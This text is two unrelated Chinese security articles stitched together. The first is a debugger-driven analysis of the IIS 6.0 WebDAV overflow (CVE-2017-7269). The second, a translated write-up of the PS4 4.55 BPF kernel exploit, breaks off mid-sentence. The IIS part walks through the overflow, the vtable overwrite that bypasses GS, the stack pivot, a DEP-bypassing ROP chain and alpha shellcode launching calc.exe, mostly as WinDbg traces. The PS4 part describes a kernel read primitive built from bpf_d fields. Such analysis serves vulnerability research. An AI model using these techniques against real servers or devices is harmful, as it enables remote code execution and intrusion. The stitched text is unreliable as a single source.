.text:67127017 loc_67127017: ; CODE XREF: ScStoragePathFromUrl(IEcb const &,ushort const *,ushort *,uint *,CVRoot * *)+50j
.text:67127017 ; ScStoragePathFromUrl(IEcb const &,ushort const *,ushort *,uint *,CVRoot * *)+67j
.text:67127017 mov ecx, [ebp+var_C]
.text:6712701A pop edi
.text:6712701B mov large fs:0, ecx
.text:67127022 mov ecx, [ebp+var_10]
.text:67127025 pop esi
.text:67127026 call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:6712702B leave
.text:6712702C retn 0Ch
漏洞利用非常精妙，也就是用这种方法，巧妙的绕过了gs的检查，最后达到漏洞利用，稳定的代码执行，首先，WebDav对数据包的处理逻辑是在DAVxxx函数中完成的。比如当前数据包是PROPFIND，那么当前的函数处理逻辑就是DAVpropfind函数。
0:009> kb
ChildEBP RetAddr Args to Child
00fff798 67119469 680312c0 00fff800 00000000 httpext!ScStoragePathFromUrl
00fff7ac 6712544a 0060e7b0 680312c0 00fff800 httpext!CMethUtil::ScStoragePathFromUrl+0x18
00fffc34 6712561e 0060b508 0060584e 00fffc78 httpext!HrCheckIfHeader+0x124
00fffc44 6711f659 0060b508 0060584e 00000001 httpext!HrCheckStateHeaders+0x10
00fffc78 6711f7c5 0060c010 00fffcd4 671404e2 httpext!CPropFindRequest::Execute+0xf0
00fffc90 671296f2 0060c010 00000004 01017af8 httpext!DAVPropFind+0x47
在内层的函数处理逻辑中，有一处关键的函数处理逻辑HrCheckIfHeader，主要负责DAVPropFind函数对头部的check，这个函数处理逻辑中有一处while循环，我已经把这个循环的关键位置的注释写在伪代码中。
__int32 __stdcall HrCheckIfHeader(struct CMethUtil *a1, const unsigned __int16 *a2)
while ( 2 )
{
v6 = IFITER::PszNextToken(&v20, 0);
v7 = v6;
if ( v6 )／／这里获取下一个url值，第一轮会进入这里，第二轮也会，第三轮就进不去了
{
CStackBuffer<unsigned short,260>::CStackBuffer<unsigned short,260>(260);
v9 = (const wchar_t *)(v7 + 2);
LOBYTE(v34) = 2;
v27 = _wcslen(v9);
if ( !CStackBuffer<unsigned short,260>::resize(2 * v27 + 2) )
goto LABEL_35;
v5 = ScCanonicalizePrefixedURL(v9, v32, &v27);
if ( v5 )
goto LABEL_43;
v27 = v29 >> 3;
v5 = CMethUtil::ScStoragePathFromUrl(a1, v32, Str, &v27);
if ( v5 == 1 )
{
if ( !CStackBuffer<unsigned short,260>::resize(v27) )
{
LABEL_35:
LOBYTE(v34) = 1;
CStackBuffer<char,260>::release(&v31);
v5 = -2147024882;
goto LABEL_39;
}
v5 = CMethUtil::ScStoragePathFromUrl(a1, v32, Str, &v27);
}
if ( v5 < 0 )
{
LABEL_43:
LOBYTE(v34) = 1;
CStackBuffer<char,260>::release(&v31);
goto LABEL_39;
}
v10 = _wcslen(Str);
v27 = v10;
v11 = &Str[v10 - 1];
if ( *v11 == 62 )
*v11 = 0;
v8 = Str;
LOBYTE(v34) = 1;
CStackBuffer<char,260>::release(&v31);
}
else
{
if ( !v25 )／／进不去就跳入这里，直接break掉，随后进入locktoken，会调用sc函数
goto LABEL_38;
v8 = (const unsigned __int16 *)v24;
}
v25 = 0;
for ( i = (wchar_t *)IFITER::PszNextToken(&v20, 2); ; i = (wchar_t *)IFITER::PszNextToken(&v20, v19) )
{
v17 = i;
if ( !i )
break;
v12 = *i;
if ( *v17 == 60 )
{
v13 = HrValidTokenExpression((int)a1, v17, (int)v8, 0);
}
else if ( v12 == 91 )
{
if ( !FGetLastModTime(0, v8, (struct _FILETIME *)&v23)
|| !FETagFromFiletime((int)&v23, &String, *((_DWORD *)a1 + 4)) )
{
LABEL_26:
if ( v22 )
goto LABEL_27;
goto LABEL_30;
}
v14 = v17 + 1;
if ( *v14 == 87 )
v14 += 2;
v15 = _wcslen(&String);
v13 = _wcsncmp(&String, v14, v15);
}
else
{
v13 = -2147467259;
}
if ( v13 )
goto LABEL_26;
if ( !v22 )／／如果不等于22，则v26为1 continue，这里v22为0
{
LABEL_27:
v26 = 1;
v19 = 3;
continue;
}
LABEL_30:
v26 = 0;
v19 = 4;
}
v2 = 0;
if ( v26 )／／这里进这里
{
v6 = IFITER::PszNextToken(&v20, 1);／／获得下一个url部分，第一次处理完，由于后面还有url，所以这里v6会有值，而第二次，这里后面没有值了
continue;
}
break;
}
如果看的比较迷糊，可以看我下面的描述，首先这个while函数中，有一个非常有意思的函数PszNextToken，这个函数会连续获取<>中的http
url，直到后面没有http url，则跳出循环，这也是这个漏洞利用的关键条件。
首先，第一次会处理IF后面的第一个http url，这个url就是http://localhost/aaaa
..，这个处理过程，实际上就完成了第一次溢出，首先stackbuffer会通过CStackBuffer函数获取，获取到之后，这个值会存放在stack中的一个位置。接下来会进行第一次ScStorageFromUrl，这个地方会对第一个<>中的http
url处理。长度是0xa7。
0:009> p
eax=00fff910 ebx=0060b508 ecx=00000410 edx=00000000 esi=0060c64a edi=77bd8ef2
eip=671253e2 esp=00fff7bc ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0xbc:
671253e2 ffd7 call edi {msvcrt!wcslen (77bd8ef2)}／／第一次处理aaaa部分，长度只有a7
0:009> dc 60c64a
0060c64a 00740068 00700074 002f003a 006c002f h.t.t.p.:././.l.
0060c65a 0063006f 006c0061 006f0068 00740073 o.c.a.l.h.o.s.t.
0060c66a 0061002f 00610061 00610061 00610061 /.a.a.a.a.a.a.a.
0060c67a 78636f68 71337761 47726936 4b777a39 hocxaw3q6irG9zwK
0:009> p
eax=000000a7
这个a7长度很小，不会覆盖到gs，因此可以通过security check，但是这个a7却是一个溢出，它超过了stack
buffer的长度，会覆盖到stack中关于stack buffer指针的存放位置。这个位置保存在ebp-328的位置。
0:009> p
eax=00fff800 ebx=0060b508 ecx=0060b508 edx=00000104 esi=00000001 edi=77bd8ef2
eip=67125479 esp=00fff7b8 ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0x153:
67125479 ffb5e4fdffff push dword ptr [ebp-21Ch] ss:0023:00fffa18=0060c828
0:009> p
eax=00fff800 ebx=0060b508 ecx=0060b508 edx=00000104 esi=00000001 edi=77bd8ef2
eip=6712547f esp=00fff7b4 ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0x159:
6712547f e8cd3fffff call httpext!CMethUtil::ScStoragePathFromUrl (67119451)
0:009> dd ebp-328／／注意拷贝的地址，这个90c是scstoragepathfromurl要拷贝的栈地址
00fff90c 00fff804 6711205b 00000013 00fff9c0
00fff91c 671287e7 00000000 000000f0 00000013
可以看到，第一次ScStoragePathFromUrl的时候，拷贝的地址是一个栈地址，通过stackbuffer申请到的，但是由于memcpy引发的栈溢出，导致这个地方值会被覆盖。
0:009> g//执行结束ScStoragePathFromUrl函数执行返回后
Breakpoint 0 hit
eax=00fff800 ebx=0060b508 ecx=00605740 edx=0060c828 esi=00000001 edi=77bd8ef2
eip=67126c7b esp=00fff79c ebp=00fff7ac iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!ScStoragePathFromUrl:
67126c7b b8150d1467 mov eax,offset httpext!swscanf+0x14b5 (67140d15)
0:009> g
Breakpoint 3 hit
eax=00000000 ebx=0060b508 ecx=00002f06 edx=00fff804 esi=00000001 edi=77bd8ef2
eip=67125484 esp=00fff7c0 ebp=00fffc34 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!HrCheckIfHeader+0x15e:
67125484 8bf0 mov esi,eax
0:009> dc fff804／／第一次memcpy之后，覆盖到了90c的位置
00fff804 003a0063 0069005c 0065006e 00700074 c.:.\.i.n.e.t.p.
00fff814 00620075 0077005c 00770077 006f0072 u.b.\.w.w.w.r.o.
00fff824 0074006f 0061005c 00610061 00610061 o.t.\.a.a.a.a.a.
00fff834 00610061 78636f68 71337761 47726936 a.a.hocxaw3q6irG
00fff844 4b777a39 75534f70 48687a4f 6d545663 9zwKpOSuOzhHcVTm
00fff854 39536845 5567506c 33646763 78454630 EhS9lPgUcgd30FEx
00fff864 54316952 6a514c58 42317241 58507035 Ri1TXLQjAr1B5pPX
00fff874 6c473664 546a3539 54435034 50617752 d6Gl95jT4PCTRwaP
0:009> dd fff900
00fff900 5a306272 54485938 02020202 680312c0
经过这次stack buffer overflow，这个值已经被覆盖，覆盖成了一个堆地址0x680312c0。接下来进入第二次调用。
0:009> p
eax=00fff910 ebx=0060b508 ecx=00000410 edx=00000000 esi=0060d32a edi=77bd8ef2
eip=671253e2 esp=00fff7bc ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0xbc:
671253e2 ffd7 call edi {msvcrt!wcslen (77bd8ef2)}
0:009> dc 60d32a
0060d32a 00740068 00700074 002f003a 006c002f h.t.t.p.:././.l.
0060d33a 0063006f 006c0061 006f0068 00740073 o.c.a.l.h.o.s.t.
0060d34a 0062002f 00620062 00620062 00620062 /.b.b.b.b.b.b.b.
0:009> p
eax=0000030d
第二次获得http://localhost/bbbbb ...的长度，这个长度有0x30d，非常长，但是对应保存的位置变了。
0:009> p
eax=00fff800 ebx=0060b508 ecx=00fff800 edx=000002fe esi=00000000 edi=77bd8ef2
eip=67125436 esp=00fff7c0 ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0x110:
67125436 50 push eax
0:009> p
eax=00fff800 ebx=0060b508 ecx=00fff800 edx=000002fe esi=00000000 edi=77bd8ef2
eip=67125437 esp=00fff7bc ebp=00fffc34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
httpext!HrCheckIfHeader+0x111:
67125437 ffb5d8fcffff push dword ptr [ebp-328h] ss:0023:00fff90c=680312c0
0:009> dc ebp-328
00fff90c 680312c0 52566c44 6c6d4b37 585a4f58 ...hDlVR7KmlXOZX
00fff91c 496a7950 4a52584f 664d4150 680313c0 PyjIOXRJPAMf...h
00fff92c 65314834 6e666f43 436c7441 680313c0 4H1eCofnAtlC...h
00fff93c 6a415343 33307052 424c5866 6346704b CSAjRp03fXLBKpFc
0:009> dd 680312c0／／要用到的堆地址，这个地址会在最后用到
680312c0 00000000 00000000 00000000 00000000
680312d0 00000000 00000000 00000000 00000000
680312e0 00000000 00000000 00000000 00000000
可以看到，第二次利用的时候，会把ebp-328这个地方的值推入栈中，这个地方应该是stack
buffer的地址，应该是个栈地址，但是现在变成了堆地址，就是由于第一次栈溢出，覆盖了这个变量。
而这个值，会作为参数传入ScStorageFromUrl函数，作为memcpy拷贝的值。
这也就解释了为什么我们在上面分析漏洞的时候，会是向堆地址拷贝，而这一次拷贝，就不需要控制长度了，因为这个地方的值已经是堆地址，再怎么覆盖，也不会覆盖到cookie。这里未来要覆盖IEcb虚表结构。从而达到漏洞利用。这样，第二次向堆地址拷贝之后，这个堆地址会覆盖到IEcb的虚表，这个虚表结构会在最后利用时引用到。
在PoC中，有一处，这个会触发漏洞利用，是在CheckIfHeader之后到达位置，在CheckIfHeader的PszToken函数判断没有<>的http
url之后，break掉，之后进入lock token处理。
0:009> p
eax=67140d15 ebx=00fffbe8 ecx=680313c0 edx=0060e7b0 esi=00fffc28 edi=00000104
eip=67126c80 esp=00fff940 ebp=00fff950 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
httpext!ScStoragePathFromUrl+0x5:
67126c80 e803100000 call httpext!_EH_prolog (67127c88)
0:009> kb
ChildEBP RetAddr Args to Child
00fff93c 67119469 00fffab4 00fff9a4 00000000 httpext!ScStoragePathFromUrl+0x5
00fff950 67125740 0060e7b0 00fffab4 00fff9a4 httpext!CMethUtil::ScStoragePathFromUrl+0x18
00fffbd0 664d4150 680313c0 65314834 6e666f43 httpext!CParseLockTokenHeader::HrGetLockIdForPath
+0x119
WARNING: Frame IP not in any known module. Following frames may be wrong.
00fffc3c 6711f68e 0060b508 0060584e 80000000 0x664d4150
00fffc78 6711f7c5 0060c010 00fffcd4 671404e2 httpext!CPropFindRequest::Execute+0x125
这时候对应的IEcb已经被覆盖，这样，在进入ScStoragePathFromUrl函数之后，会进入我们在漏洞分析部分提到的CheckPrefixUrl函数，这个函数中有大量的IEcb虚表虚函数引用。
0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1e:
671335f3 ff5024 call dword ptr [eax+24h] ds:0023:680313e4=68016082
0:009> dc eax
680313c0 680313c0 68006e4f 68006e4f 766a4247 ...hOn.hOn.hGBjv
680313d0 680313c0 4f744257 52345947 4b424b66 ...hWBtOGY4RfKBK
和大家分享了这个精妙利用，一般可能都会觉得是第二次url bbbbb的这个memcpy覆盖了关键函数导致的溢出、利用，实际上，在第一次url
aaaaaa中，就已经引发了栈溢出，覆盖到了stackbuffer申请的指向栈buffer的指针，这个指针存放在栈里，用于后续调用存放虚拟路径，由于第一次栈溢出，覆盖到了这个变量导致第二次url
bbbbb拷贝的时候，是向一个堆地址拷贝，这个堆地址后面的偏移中，存放着IEcb的vftable，通过覆盖虚表虚函数，在最后locktoken触发的ScStoragePathFromUrl中利用虚函数达到代码执行。
而这个过程，也是巧妙的绕过了GS的检查。
* * *
### 简析ROP及shellcode
* * *
这个漏洞使用了一些非常有意思的手法，一个是TK教主在13年安全会议上提到的shareduserdata，在ROP中，另一个是alpha shellcode。
首先，在前面虚函数执行之后，会先进行stack pivot，随后进入rop。
0:009> t//stack pivot!!!
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016082 esp=00fff4b0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x42:
68016082 8be1 mov esp,ecx
0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016084 esp=680313c0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x44:
68016084 8b08 mov ecx,dword ptr [eax] ds:0023:680313c0=680313c0
0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016086 esp=680313c0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x46:
68016086 8b4004 mov eax,dword ptr [eax+4] ds:0023:680313c4=68006e4f
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016089 esp=680313c0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x49:
68016089 50 push eax
0:009> p//ROP Chain
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=6801608a esp=680313bc ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!_alloca_probe+0x4a:
6801608a c3 ret
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68006e4f esp=680313c0 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!CPEncrypt+0x3b:
68006e4f 5e pop esi
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0
eip=68006e50 esp=680313c4 ebp=00fff4d0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!CPEncrypt+0x3c:
68006e50 5d pop ebp
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0
eip=68006e51 esp=680313c8 ebp=68006e4f iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!CPEncrypt+0x3d:
68006e51 c22000 ret 20h
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0
eip=68006e4f esp=680313ec ebp=68006e4f iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!CPEncrypt+0x3b:
68006e4f 5e pop esi
经过一系列ROP之后，会进入KiFastSystemCall，这是利用SharedUserData bypass DEP的一环。
0:009> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=00fff4f8 esi=68031460 edi=680124e3
eip=680124e3 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!HmacCheck+0x2c3:
680124e3 ff23 jmp dword ptr [ebx] ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c8285e8)}
0:009> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=00fff4f8 esi=68031460 edi=680124e3
eip=7c8285e8 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCall:
7c8285e8 8bd4 mov edx,esp
0:009> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=68031400 esi=68031460 edi=680124e3
eip=7c8285ea esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCall+0x2:
7c8285ea 0f34 sysenter
0:009> p
eax=00000000 ebx=7ffe0300 ecx=00000001 edx=ffffffff esi=68031460 edi=680124e3
eip=68031460 esp=68031404 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!g_pfnFree+0x1a4:
68031460 56 push esi
0:009> dc 68031460
68031460 00560056 00410059 00340034 00340034 V.V.Y.A.4.4.4.4.
68031470 00340034 00340034 00340034 00410051 4.4.4.4.4.4.Q.A.
之后进入alpha shellcode，这时候68031460作为shareduserdata，已经具备可执行权限。
Failed to map Heaps (error 80004005)
Usage: Image
Allocation Base: 68000000
Base Address: 68031000
End Address: 68032000
Region Size: 00001000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE 有了可执行权限
这里由于url存入内存按照宽字节存放，因此都是以00 xx方式存放，因此不能单纯使用shellcode，而得用alpha
shellcode（结尾基友用了另一种方法执行shellcode，大家可以看下），alpha shellcode会先执行一段操作。随后进入解密部分。
0:009> p
eax=059003d9 ebx=7ffe0300 ecx=68031585 edx=68031568 esi=68031460 edi=680124e3
eip=6803154e esp=68031400 ebp=6e6f3176 iopl=0 nv up ei ng nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000292
rsaenh!g_pfnFree+0x292:
6803154e 41 inc ecx
0:009> p
eax=059003d9 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=6803154f esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
rsaenh!g_pfnFree+0x293:
6803154f 004200 add byte ptr [edx],al ds:0023:68031568=e3
0:009> p
eax=059003d9 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=68031552 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
rsaenh!g_pfnFree+0x296:
68031552 6b0110 imul eax,dword ptr [ecx],10h ds:0023:68031586=00540032
0:009> p
eax=05400320 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=68031555 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
rsaenh!g_pfnFree+0x299:
68031555 024102 add al,byte ptr [ecx+2] ds:0023:68031588=54
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=68031558 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x29c:
68031558 8802 mov byte ptr [edx],al ds:0023:68031568=bc
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=6803155a esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x29e:
6803155a 42 inc edx
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031569 esi=68031460 edi=680124e3
eip=6803155b esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x29f:
6803155b 803941 cmp byte ptr [ecx],41h ds:0023:68031586=32
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031569 esi=68031460 edi=680124e3
eip=6803155e esp=68031400 ebp=6e6f3176 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
rsaenh!g_pfnFree+0x2a2:
6803155e 75e2 jne rsaenh!g_pfnFree+0x286 (68031542) [br=1]
0:009> dd 68031580
68031580 00380059 00320059 004d0054 004a0054
68031590 00310054 0030004d 00370031 00360059
680315a0 00300051 00300031 00300031 004c0045
680315b0 004b0053 00300053 004c0045 00330053
可以看到，解密前，alpha shellcod部分，随后解密结束之后。
0:009> p
eax=04d0035d ebx=7ffe0300 ecx=68031592 edx=6803156c esi=68031460 edi=680124e3
eip=6803155e esp=68031400 ebp=6e6f3176 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
rsaenh!g_pfnFree+0x2a2:
6803155e 75e2 jne rsaenh!g_pfnFree+0x286 (68031542) [br=1]
0:009> bp 68031560
0:009> g
Breakpoint 2 hit
eax=00000410 ebx=7ffe0300 ecx=680318da edx=6803163e esi=68031460 edi=680124e3
eip=68031560 esp=68031400 ebp=6e6f3176 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
rsaenh!g_pfnFree+0x2a4:
68031560 b8b726bfca mov eax,0CABF26B7h
0:009> dd 68031580
68031580 223cec9b 265a2caa 6a289c9c 9f7c5610
68031590 90a91aa3 9f8f9004 beec8995 6120d015
680315a0 60351b24 30b44661 a56b0c3a 4eb0584f
680315b0 b3b04c03 65916fd3 87313668 9f7842bd
680315c0 14326fa2 fcc51b10 c16ae469 05721746
680315d0 7f01c860 44127593 5f97a1ee 840f2148
680315e0 4fd6e669 089c4365 23715269 e474df95
shellcode已经被解密出来，随后会调用winexec，执行calc。
0:009> p
eax=77ea411e ebx=7ffe0300 ecx=68031614 edx=876f8b31 esi=68031460 edi=680124e3
eip=680315f9 esp=680313fc ebp=68031581 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x33d:
680315f9 51 push ecx
0:009> p
eax=77ea411e ebx=7ffe0300 ecx=68031614 edx=876f8b31 esi=68031460 edi=680124e3
eip=680315fa esp=680313f8 ebp=68031581 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
rsaenh!g_pfnFree+0x33e:
680315fa ffe0 jmp eax {kernel32!WinExec (77ea411e)}
0:009> dd esp
680313f8 68031614 68031633 00000001 00000000
0:009> dc 68031633 l2
68031633 636c6163 6578652e calc.exe
第二个参数是0x1，是SW_SHOWNORMAL，但由于服务无窗口，因此calc无法弹出。
其实，这个过程可以替换成其他的shellcode，相关的shellcode替换链接可以看我的好基友LCatro的几篇文章，都非常不错。
https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/
最后我想说，我在深圳，刚才和几个平时网上的好朋友吃夜宵，聊到这个漏洞，没想到在几个小时前认识的彭博士，就是这个漏洞的作者！真的没有想到，还好自己分析的这套思路和这个漏洞作者的思路相差无几，不然就被打脸了。真的很有缘！一下学到了好多。
这篇最后还是没有按时发出，不过希望能和大家一起学习！谢谢阅读！
* * * | 社区文章 |
原文：<https://github.com/Cryptogenic/Exploit-Writeups/blob/master/FreeBSD/PS4%204.55%20BPF%20Race%20Condition%20Kernel%20Exploit%20Writeup.md>
提示：虽然这个漏洞主要是针对PS4平台的，但如果攻击者对/dev/bpf具有读/写权限，或者能够从root权限升级为内核模式代码执行权限的话，它也同样适用于尚未修复该漏洞的其他FreeBSD平台。因此，这里将本文发布到了本网站的“FreeBSD”目录中，而不是“PS4”目录下。
**引言**
* * *
首先需要说明的是，这个漏洞是由qwerty发现的。不过，由于该漏洞的利用方式相当独特，所以，我打算专门写一篇文章来详细介绍其运行机制。与该漏洞相关的完整源代码可以从[这里](https://github.com/Cryptogenic/PS4-4.55-Kernel-Exploit
"这里")找到。同时，之前我也介绍过如何在具有用户空间访问权限的情况下利用webkit的相关漏洞，具体请参考<https://github.com/Cryptogenic/Exploit-Writeups/blob/master/WebKit/setAttributeNodeNS%20UAF%20Write-up.md。>
**回顾4.05版本的漏洞利用代码**
* * *
如果您读过本人撰写的4.05内核漏洞利用文章的话，可能已经注意到，在那篇文章中，关于在获取代码执行权之前是如何设法转储内核的方法被我故意忽略了。同时，在cdev对象之前使用的目标对象，也被我一笔带过了。实际上，这个目标对象就是bpf_d。之所以这么做，是因为当时这个BPF漏洞利用代码尚未公开，并且它还是一个0-day，所以在那篇文章中我故意忽略了这些内容，并且重写了漏洞利用代码，让它使用了一个完全不同的对象（事实证明这样做的效果更好，因为cdev反而更稳定了）。
对于4.05版本来说，BPF是一个很好的目标对象，因为它不仅带有指向代码执行起始位置的函数指针，同时还具有一个获取任意读取原语的方法，这些将在下面详细说明。尽管没有它们也可以利用这个漏洞，但有了它们的话，后面就不必亲自编写实现转储功能的代码了。由于本节内容与4.55版本的漏洞利用的关系不是非常密切，所以我会尽量保持简短；另外，如果读者只对4.55版本的漏洞利用感兴趣的话，可以直接跳过本节内容。
bpf_d对象提供了一些与存储数据的“槽”相关的字段。由于本节内容只涉及旧版漏洞利用，因此这里只介绍与旧版漏洞利用相关的字段。
struct bpf_d {
// ...
caddr_t bd_hbuf; /* hold slot */ // Offset: 0x18
// ...
int bd_hlen; /* current length of hold buffer */ // Offset: 0x2C
// ...
int bd_bufsize; /* absolute length of buffers */ // Offset: 0x30
// ...
}
这些槽是用于保存某些信息的，准确来说是返回给使用read()函数读取bpf文件描述符的调用方的信息。通过将偏移量为0x18（bd_hbuf）处的变量的值设为待转储内存的地址，并将偏移量为0x2C和0x30处（分别为bd_hlen和bd_bufsize）变量的值设为我们指定的任意大小（为了转储整个内核，可将其设为0x2800000），就可以通过对bpf文件描述符调用read()来获得一个针对任意内核地址的读取原语，从而得以轻松转储内核内存。
**是FreeBSD的问题还是索尼的问题？为什么他们都没有……**
* * *
有趣的是，这个漏洞实际上是FreeBSD的问题，而不是（至少不是直接）由索尼的代码引起的。虽然这是一个FreeBSD的漏洞，但它对于大多数系统来说并不是很有用，因为/dev/bpf设备驱动程序的属主是root用户，并且该程序的权限被设置为0600（表示属主具有读/写权限，而其他任何人都没有相应的权限）——虽然它可用于从root权限升级为内核模式代码执行权限。下面，让我们来看看PS4内核中与/dev/bpf有关的make_dev()（取自4.05内核转储）。
seg000:FFFFFFFFA181F15B lea rdi, unk_FFFFFFFFA2D77640
seg000:FFFFFFFFA181F162 lea r9, aBpf ; "bpf"
seg000:FFFFFFFFA181F169 mov esi, 0
seg000:FFFFFFFFA181F16E mov edx, 0
seg000:FFFFFFFFA181F173 xor ecx, ecx
seg000:FFFFFFFFA181F175 mov r8d, 1B6h
seg000:FFFFFFFFA181F17B xor eax, eax
seg000:FFFFFFFFA181F17D mov cs:qword_FFFFFFFFA34EC770, 0
seg000:FFFFFFFFA181F188 call make_dev
我们看到，上述代码会将UID
